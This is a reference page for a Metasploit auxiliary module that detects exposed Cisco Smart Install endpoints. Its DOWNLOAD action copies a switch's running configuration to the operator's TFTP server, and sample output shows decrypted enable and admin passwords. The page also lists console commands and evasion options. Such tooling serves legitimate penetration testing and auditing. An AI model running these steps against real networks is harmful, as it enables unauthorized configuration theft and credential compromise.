Identify Cisco Smart Install endpoints - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/misc/cisco_smart_install metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Identify Cisco Smart Install endpoints
Module: auxiliary/scanner/misc/cisco_smart_install
Source code: modules/auxiliary/scanner/misc/cisco_smart_install.rb
Disclosure date: -
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 4786
List of CVEs: -

This module attempts to connect to the specified Cisco Smart Install port and determines if it speaks the Smart Install Protocol. Exposure of SMI to untrusted networks can allow complete compromise of the switch.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/misc/cisco_smart_install
msf auxiliary(cisco_smart_install) > show options
    ... show and set options ...
msf auxiliary(cisco_smart_install) > set RHOSTS ip-range
msf auxiliary(cisco_smart_install) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(cisco_smart_install) > set RHOSTS 192.168.1.3-192.168.1.200

Example 2:

msf auxiliary(cisco_smart_install) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(cisco_smart_install) > set RHOSTS file:/tmp/ip_list.txt

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Vulnerable Application

Any system exposing the Cisco Smart Install (SMI) protocol, which typically runs on TCP port 4786.

Verification Steps

  1. Do: use auxiliary/scanner/misc/cisco_smart_install
  2. Do: set ACTION SCAN
  3. Do: set [RHOSTS], replacing [RHOSTS] with a list of hosts to test for the presence of SMI
  4. Do: run
  5. If the host is exposing an identifiable SMI instance, it will print the endpoint.

Options

SLEEP

Time to wait for connection back from target. Default is 60 seconds if using DOWNLOAD action

LHOST

Address to bind to for TFTP server to accept connections if using DOWNLOAD action

Actions

There are two actions, default being SCAN

  1. SCAN - Scan for Smart Install endpoints. [Default]
  2. DOWNLOAD - Request devices configuration and send to our TFTP server

Scenarios

Using the default SCAN action
msf auxiliary(cisco_smart_install) > run

[] Scanned 57 of 512 hosts (11% complete) [] Scanned 105 of 512 hosts (20% complete) [] Scanned 157 of 512 hosts (30% complete) [] Scanned 212 of 512 hosts (41% complete) [] Scanned 256 of 512 hosts (50% complete) [] Scanned 310 of 512 hosts (60% complete) [] Scanned 368 of 512 hosts (71% complete) [] Scanned 413 of 512 hosts (80% complete) [] Scanned 466 of 512 hosts (91% complete) [+] a.b.c.d:4786 - Fingerprinted the Cisco Smart Install protocol [] Scanned 512 of 512 hosts (100% complete) [*] Auxiliary module execution completed

Using the DOWNLOAD action

[*] 192.168.0.26:4786      - Starting TFTP Server...
[+] 192.168.0.26:4786      - Fingerprinted the Cisco Smart Install protocol
[*] 192.168.0.26:4786      - Attempting copy system:running-config tftp://192.168.0.11/kWqjngYF
[*] 192.168.0.26:4786      - Waiting 60 seconds for configuration
[*] 192.168.0.26:4786      - Incoming file from 192.168.0.26 - kWqjngYF (31036 bytes)
[+] 192.168.0.26:4786      - 192.168.0.26:4786 Decrypted Enable Password: testcase
[+] 192.168.0.26:4786      - 192.168.0.26:4786 Username 'admin' with Decrypted Password: testcase)
[*] 192.168.0.26:4786      - Providing some time for transfers to complete...
[*] 192.168.0.26:4786      - Shutting down the TFTP service...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage

Here is how the scanner/misc/cisco_smart_install auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/misc/cisco_smart_install

msf6 auxiliary(scanner/misc/cisco_smart_install) > show info

       Name: Identify Cisco Smart Install endpoints
     Module: auxiliary/scanner/misc/cisco_smart_install
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Jon Hart <[email protected]>
  Mumbai

Available actions:
  Name      Description
  ----      -----------
  DOWNLOAD  Retrieve configuration via Smart Install Protocol
  SCAN      Scan for instances communicating via Smart Install Protocol (default)

Check supported:
  No

Basic options:
  Name     Current Setting        Required  Description
  ----     ---------------        --------  -----------
  CONFIG   system:running-config  yes       The source config to copy when using DOWNLOAD
  LHOST                           no        The IP address of the system running this module
  RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    4786                   yes       The target port (TCP)
  SLEEP    10                     yes       Time to wait for config to come back
  THREADS  1                      yes       The number of concurrent threads (max one per host)

Description:
  This module attempts to connect to the specified Cisco Smart Install 
  port and determines if it speaks the Smart Install Protocol. 
  Exposure of SMI to untrusted networks can allow complete compromise 
  of the switch.

References:
  https://blog.talosintelligence.com/2017/02/cisco-coverage-for-smart-install-client.html
  https://blogs.cisco.com/security/cisco-psirt-mitigating-and-detecting-potential-abuse-of-cisco-smart-install-feature
  https://tools.cisco.com/security/center/content/CiscoSecurityResponse/cisco-sr-20170214-smi
  https://github.com/Cisco-Talos/smi_check
  https://github.com/Sab0tag3d/SIET

Module Options

This is a complete list of options available in the scanner/misc/cisco_smart_install auxiliary module:

msf6 auxiliary(scanner/misc/cisco_smart_install) > show options

Module options (auxiliary/scanner/misc/cisco_smart_install):

   Name     Current Setting        Required  Description
   ----     ---------------        --------  -----------
   CONFIG   system:running-config  yes       The source config to copy when using DOWNLOAD
   LHOST                           no        The IP address of the system running this module
   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    4786                   yes       The target port (TCP)
   SLEEP    10                     yes       Time to wait for config to come back
   THREADS  1                      yes       The number of concurrent threads (max one per host)

Auxiliary action:

   Name  Description
   ----  -----------
   SCAN  Scan for instances communicating via Smart Install Protocol (default)

Advanced Options

Here is a complete list of advanced options supported by the scanner/misc/cisco_smart_install auxiliary module:

msf6 auxiliary(scanner/misc/cisco_smart_install) > show advanced

Module advanced options (auxiliary/scanner/misc/cisco_smart_install):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   CHOST                                 no        The local client address
   CPORT                                 no        The local client port
   ConnectTimeout       10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                  false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                             no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode        PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion           Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress         true             yes       Display progress messages during a scan
   ShowProgressPercent  10               yes       The interval in percent that progress should be shown
   VERBOSE              false            no        Enable detailed status messages
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the scanner/misc/cisco_smart_install module can do:

msf6 auxiliary(scanner/misc/cisco_smart_install) > show actions

Auxiliary actions:

   Name      Description
   ----      -----------
   DOWNLOAD  Retrieve configuration via Smart Install Protocol
   SCAN      Scan for instances communicating via Smart Install Protocol (default)

Evasion Options

Here is the full list of possible evasion options supported by the scanner/misc/cisco_smart_install auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/misc/cisco_smart_install) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No match for '<RESPONSE>'

Here is a relevant code snippet related to the "No match for '<RESPONSE>'" error message:

57:	    if response
58:	      if SMI_RE.match(response)
59:	        print_good("Fingerprinted the Cisco Smart Install protocol")
60:	        return true
61:	      else
62:	        vprint_status("No match for '#{response}'")
63:	      end
64:	    else
65:	      vprint_status("No response")
66:	    end
67:	  end

No response

Here is a relevant code snippet related to the "No response" error message:

60:	        return true
61:	      else
62:	        vprint_status("No match for '#{response}'")
63:	      end
64:	    else
65:	      vprint_status("No response")
66:	    end
67:	  end
68:	
69:	  def start_tftp
70:	    print_status("Starting TFTP Server...")

error while connecting and negotiating Cisco Smart Install: <E>

Here is a relevant code snippet related to the "error while connecting and negotiating Cisco Smart Install: <E>" error message:

137:	          print_status("Waiting #{datastore['SLEEP']} seconds for configuration")
138:	          Rex.sleep(datastore['SLEEP'])
139:	      end
140:	    rescue Rex::AddressInUse, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, \
141:	           ::Errno::ETIMEDOUT, ::Timeout::Error, ::EOFError => e
142:	      vprint_error("error while connecting and negotiating Cisco Smart Install: #{e}")
143:	      return
144:	    ensure
145:	      disconnect
146:	    end
147:

Go back to menu.

References

See Also

Check also the following modules related to this module:

Authors

  • Jon Hart <jon_hart[at]rapid7.com>
  • Mumbai

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.